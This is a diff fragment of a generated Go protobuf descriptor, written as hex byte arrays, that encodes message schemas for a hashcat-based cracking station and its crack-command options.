0x6e, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, - 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, - 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, - 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, - 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, - 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, - 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, - 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, + 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, + 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, + 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, + 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, + 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, + 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, + 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, + 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, + 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, + 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, @@ -10976,554 +11005,535 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, - 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, - 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, - 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, - 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, - 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, - 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, - 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, - 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, - 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, - 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, - 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, - 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, - 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, - 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, - 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, - 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, - 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, - 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, - 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, - 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, - 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, - 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, - 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, - 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, - 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, - 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, - 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, - 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, - 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, - 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, - 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, - 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, - 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, - 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, - 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, - 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, - 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, - 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, - 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, - 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, - 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, - 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, - 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, - 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, - 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, - 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, - 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, - 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, - 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, - 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, - 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, - 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, - 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, - 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, - 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, - 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, - 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, - 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 